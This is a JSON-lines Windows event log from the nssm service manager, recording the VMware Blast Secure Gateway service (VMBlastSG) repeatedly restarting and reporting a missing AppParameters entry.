{"@timestamp":1646740334766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161031}}
{"@timestamp":1646740334767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161032}}
{"@timestamp":1646740334768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156176","0"]}}},"module":"Application","provider":"nssm","sequence":161033}}
{"@timestamp":1646740334768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156176","156176","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161034}}
{"@timestamp":1646740334788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161035}}
{"@timestamp":1646740334789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161036}}
{"@timestamp":1646740334789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161037}}
{"@timestamp":1646740334790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161038}}
{"@timestamp":1646740463675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161039}}
{"@timestamp":1646740463675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161040}}
{"@timestamp":1646740463676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157608","0"]}}},"module":"Application","provider":"nssm","sequence":161041}}
{"@timestamp":1646740463676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157608","157608","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161042}}
{"@timestamp":1646740463695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161043}}
{"@timestamp":1646740463696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161044}}
{"@timestamp":1646740463696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161045}}
{"@timestamp":1646740463697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161046}}
{"@timestamp":1646740592222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161047}}
{"@timestamp":1646740592224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161048}}
{"@timestamp":1646740592225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156760","0"]}}},"module":"Application","provider":"nssm","sequence":161049}}
{"@timestamp":1646740592225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156760","156760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161050}}
{"@timestamp":1646740592244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161051}}
{"@timestamp":1646740592244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161052}}
{"@timestamp":1646740592245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161053}}
{"@timestamp":1646740592245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161054}}
{"@timestamp":1646740720753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161055}}
{"@timestamp":1646740720754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161056}}
{"@timestamp":1646740720754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158404","0"]}}},"module":"Application","provider":"nssm","sequence":161057}}
{"@timestamp":1646740720756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158404","158404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161058}}
{"@timestamp":1646740720773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161059}}
{"@timestamp":1646740720774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161060}}
{"@timestamp":1646740720774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161061}}
{"@timestamp":1646740720775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161062}}
{"@timestamp":1646740849282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161063}}
{"@timestamp":1646740849284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161064}}
{"@timestamp":1646740849285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157928","0"]}}},"module":"Application","provider":"nssm","sequence":161065}}
{"@timestamp":1646740849285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157928","157928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161066}}
{"@timestamp":1646740849302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154948","0"]}}},"module":"Application","provider":"nssm","sequence":161067}}
{"@timestamp":1646740849304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154948","157928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161068}}
{"@timestamp":1646740849320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161069}}
{"@timestamp":1646740849321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161070}}
{"@timestamp":1646740849322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161071}}
{"@timestamp":1646740849323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161072}}
{"@timestamp":1646740977996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161073}}
{"@timestamp":1646740977998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161074}}
{"@timestamp":1646740977999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157432","0"]}}},"module":"Application","provider":"nssm","sequence":161075}}
{"@timestamp":1646740978000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157432","157432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161076}}
{"@timestamp":1646740978016,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161077}}
{"@timestamp":1646740978017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161078}}
{"@timestamp":1646740978017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161079}}
{"@timestamp":1646740978018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161080}}
{"@timestamp":1646741106512,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161081}}
{"@timestamp":1646741106513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161082}}
{"@timestamp":1646741106514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158636","0"]}}},"module":"Application","provider":"nssm","sequence":161083}}
{"@timestamp":1646741106515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158636","158636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161084}}
{"@timestamp":1646741106531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161085}}
{"@timestamp":1646741106532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161086}}
{"@timestamp":1646741106532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161087}}
{"@timestamp":1646741106533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161088}}
{"@timestamp":1646741235050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161089}}
{"@timestamp":1646741235051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161090}}
{"@timestamp":1646741235052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157984","0"]}}},"module":"Application","provider":"nssm","sequence":161091}}
{"@timestamp":1646741235052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157984","157984","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161092}}
{"@timestamp":1646741235073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161093}}
{"@timestamp":1646741235073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161094}}
{"@timestamp":1646741235074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161095}}
{"@timestamp":1646741235075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161096}}
{"@timestamp":1646741363577,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161097}}
{"@timestamp":1646741363578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161098}}
{"@timestamp":1646741363578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156860","0"]}}},"module":"Application","provider":"nssm","sequence":161099}}
{"@timestamp":1646741363579,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156860","156860","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161100}}
{"@timestamp":1646741363595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161101}}
{"@timestamp":1646741363595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161102}}
{"@timestamp":1646741363596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161103}}
{"@timestamp":1646741363596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161104}}
{"@timestamp":1646741492206,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161105}}
{"@timestamp":1646741492208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161106}}
{"@timestamp":1646741492209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158604","0"]}}},"module":"Application","provider":"nssm","sequence":161107}}
{"@timestamp":1646741492209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158604","158604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161108}}
{"@timestamp":1646741492230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161109}}
{"@timestamp":1646741492231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161110}}
{"@timestamp":1646741492231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161111}}
{"@timestamp":1646741492232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161112}}
{"@timestamp":1646741620751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161113}}
{"@timestamp":1646741620752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161114}}
{"@timestamp":1646741620753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158316","0"]}}},"module":"Application","provider":"nssm","sequence":161115}}
{"@timestamp":1646741620754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158316","158316","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161116}}
{"@timestamp":1646741620770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161117}}
{"@timestamp":1646741620770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161118}}
{"@timestamp":1646741620771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161119}}
{"@timestamp":1646741620772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161120}}
{"@timestamp":1646741749279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161121}}
{"@timestamp":1646741749279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161122}}
{"@timestamp":1646741749280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157404","0"]}}},"module":"Application","provider":"nssm","sequence":161123}}
{"@timestamp":1646741749281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157404","157404","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161124}}
{"@timestamp":1646741749299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161125}}
{"@timestamp":1646741749299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161126}}
{"@timestamp":1646741749300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161127}}
{"@timestamp":1646741749300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161128}}
{"@timestamp":1646741877894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161129}}
{"@timestamp":1646741877894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161130}}
{"@timestamp":1646741877895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156252","0"]}}},"module":"Application","provider":"nssm","sequence":161131}}
{"@timestamp":1646741877895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156252","156252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161132}}
{"@timestamp":1646741877920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161133}}
{"@timestamp":1646741877921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161134}}
{"@timestamp":1646741877921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161135}}
